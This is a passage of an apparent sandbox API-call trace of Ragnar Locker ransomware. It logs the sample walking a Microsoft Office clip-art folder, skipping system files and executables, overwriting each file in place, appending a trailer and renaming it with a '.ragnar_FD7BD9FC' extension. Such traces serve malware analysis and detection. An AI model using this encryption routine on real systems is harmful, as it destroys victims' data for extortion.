dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.953] GetProcessHeap () returned 0x580000 [0089.953] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.953] CloseHandle (hObject=0xf4) returned 1 [0089.954] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" [0089.954] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.ragnar_FD7BD9FC" [0089.954] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.954] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c94, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01221K.JPG", cAlternateFileName="")) returned 1 [0089.954] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.954] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH01221K.JPG" | out: lpString1="PH01221K.JPG") returned="PH01221K.JPG" [0089.954] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG") returned=".JPG" [0089.954] lstrcmpiW (lpString1="PH01221K.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.954] lstrcmpiW (lpString1="PH01221K.JPG", lpString2="autorun.inf") returned 1 [0089.954] lstrcmpiW (lpString1="PH01221K.JPG", lpString2="boot.ini") returned 1 [0089.954] lstrcmpiW (lpString1="PH01221K.JPG", lpString2="bootfont.bin") returned 1 [0089.954] lstrcmpiW (lpString1="PH01221K.JPG", lpString2="bootsect.bak") returned 1 [0089.954] lstrcmpiW (lpString1="PH01221K.JPG", lpString2="bootmgr") returned 1 [0089.955] lstrcmpiW (lpString1="PH01221K.JPG", lpString2="bootmgr.efi") returned 1 [0089.955] lstrcmpiW (lpString1="PH01221K.JPG", lpString2="bootmgfw.efi") returned 1 [0089.955] lstrcmpiW (lpString1="PH01221K.JPG", lpString2="desktop.ini") returned 1 [0089.955] lstrcmpiW (lpString1="PH01221K.JPG", lpString2="iconcache.db") returned 1 [0089.955] lstrcmpiW (lpString1="PH01221K.JPG", lpString2="ntldr") returned 1 [0089.955] lstrcmpiW (lpString1="PH01221K.JPG", lpString2="ntuser.dat") returned 1 [0089.955] lstrcmpiW (lpString1="PH01221K.JPG", lpString2="ntuser.dat.log") returned 1 [0089.955] lstrcmpiW (lpString1="PH01221K.JPG", lpString2="ntuser.ini") returned 1 [0089.955] lstrcmpiW (lpString1="PH01221K.JPG", lpString2="thumbs.db") returned -1 [0089.955] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0089.955] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0089.955] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0089.955] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0089.955] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0089.955] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0089.955] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0089.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg")) returned 0x20 [0089.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.955] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7316) returned 1 [0089.956] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.956] GetProcessHeap () returned 0x580000 [0089.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.956] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.957] VirtualAlloc (lpAddress=0x0, dwSize=0x1c94, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.957] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.957] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.957] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1c94, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1c94, lpOverlapped=0x0) returned 1 [0089.958] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.958] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c94, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.958] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1c94, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1c94, lpOverlapped=0x0) returned 1 [0089.958] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c94, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.958] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.959] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.959] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.959] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.959] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.959] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.959] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.959] GetProcessHeap () returned 0x580000 [0089.959] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.959] CloseHandle (hObject=0xf4) returned 1 [0089.959] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" [0089.959] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.ragnar_FD7BD9FC" [0089.959] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.960] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37b36e00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37b36e00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01235U.BMP", cAlternateFileName="")) returned 1 [0089.960] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.960] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH01235U.BMP" | out: lpString1="PH01235U.BMP") returned="PH01235U.BMP" [0089.960] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP") returned=".BMP" [0089.960] lstrcmpiW (lpString1="PH01235U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.960] lstrcmpiW (lpString1="PH01235U.BMP", lpString2="autorun.inf") returned 1 [0089.960] lstrcmpiW (lpString1="PH01235U.BMP", lpString2="boot.ini") returned 1 [0089.960] lstrcmpiW (lpString1="PH01235U.BMP", lpString2="bootfont.bin") returned 1 [0089.960] lstrcmpiW (lpString1="PH01235U.BMP", lpString2="bootsect.bak") returned 1 [0089.960] lstrcmpiW (lpString1="PH01235U.BMP", lpString2="bootmgr") returned 1 [0089.960] lstrcmpiW (lpString1="PH01235U.BMP", lpString2="bootmgr.efi") returned 1 [0089.960] lstrcmpiW (lpString1="PH01235U.BMP", lpString2="bootmgfw.efi") returned 1 [0089.960] lstrcmpiW (lpString1="PH01235U.BMP", lpString2="desktop.ini") returned 1 [0089.960] lstrcmpiW (lpString1="PH01235U.BMP", lpString2="iconcache.db") returned 1 [0089.960] lstrcmpiW (lpString1="PH01235U.BMP", lpString2="ntldr") returned 1 [0089.960] lstrcmpiW (lpString1="PH01235U.BMP", lpString2="ntuser.dat") returned 1 [0089.960] lstrcmpiW (lpString1="PH01235U.BMP", lpString2="ntuser.dat.log") returned 1 [0089.960] lstrcmpiW (lpString1="PH01235U.BMP", lpString2="ntuser.ini") returned 1 [0089.960] lstrcmpiW (lpString1="PH01235U.BMP", lpString2="thumbs.db") returned -1 [0089.960] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0089.960] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0089.960] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0089.960] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0089.960] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0089.961] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0089.961] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0089.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp")) returned 0x20 [0089.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.961] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32184) returned 1 [0089.961] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.961] GetProcessHeap () returned 0x580000 [0089.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.961] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.963] VirtualAlloc (lpAddress=0x0, dwSize=0x7db8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.963] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.963] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.963] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7db8, lpOverlapped=0x0) returned 1 [0089.964] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.964] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7db8, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.965] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7db8, lpOverlapped=0x0) returned 1 [0089.965] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7db8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.965] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.965] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7db8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.965] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.965] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.965] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.965] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.965] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.965] GetProcessHeap () returned 0x580000 [0089.965] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.966] CloseHandle (hObject=0xf4) returned 1 [0089.966] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" [0089.966] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP.ragnar_FD7BD9FC" [0089.966] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.966] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc83e7e00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc83e7e00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01236U.BMP", cAlternateFileName="")) returned 1 [0089.966] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.967] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH01236U.BMP" | out: lpString1="PH01236U.BMP") returned="PH01236U.BMP" [0089.967] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP") returned=".BMP" [0089.967] lstrcmpiW (lpString1="PH01236U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.967] lstrcmpiW (lpString1="PH01236U.BMP", lpString2="autorun.inf") returned 1 [0089.967] lstrcmpiW (lpString1="PH01236U.BMP", lpString2="boot.ini") returned 1 [0089.967] lstrcmpiW (lpString1="PH01236U.BMP", lpString2="bootfont.bin") returned 1 [0089.967] lstrcmpiW (lpString1="PH01236U.BMP", lpString2="bootsect.bak") returned 1 [0089.967] lstrcmpiW (lpString1="PH01236U.BMP", lpString2="bootmgr") returned 1 [0089.967] lstrcmpiW (lpString1="PH01236U.BMP", lpString2="bootmgr.efi") returned 1 [0089.967] lstrcmpiW (lpString1="PH01236U.BMP", lpString2="bootmgfw.efi") returned 1 [0089.967] lstrcmpiW (lpString1="PH01236U.BMP", lpString2="desktop.ini") returned 1 [0089.967] lstrcmpiW (lpString1="PH01236U.BMP", lpString2="iconcache.db") returned 1 [0089.967] lstrcmpiW (lpString1="PH01236U.BMP", lpString2="ntldr") returned 1 [0089.967] lstrcmpiW (lpString1="PH01236U.BMP", lpString2="ntuser.dat") returned 1 [0089.967] lstrcmpiW (lpString1="PH01236U.BMP", lpString2="ntuser.dat.log") returned 1 [0089.967] lstrcmpiW (lpString1="PH01236U.BMP", lpString2="ntuser.ini") returned 1 [0089.967] lstrcmpiW (lpString1="PH01236U.BMP", lpString2="thumbs.db") returned -1 [0089.967] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0089.967] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0089.967] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0089.967] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0089.967] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0089.967] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0089.967] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0089.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp")) returned 0x20 [0089.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.968] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31968) returned 1 [0089.968] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7cd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.968] GetProcessHeap () returned 0x580000 [0089.968] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.968] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.969] VirtualAlloc (lpAddress=0x0, dwSize=0x7ce0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.969] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.969] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.969] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7ce0, lpOverlapped=0x0) returned 1 [0089.970] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.971] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ce0, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.971] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7ce0, lpOverlapped=0x0) returned 1 [0089.971] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ce0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.971] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.971] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7ce0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.971] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.971] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.971] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.972] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.972] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.972] GetProcessHeap () returned 0x580000 [0089.972] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.972] CloseHandle (hObject=0xf4) returned 1 [0089.972] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" [0089.972] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP", 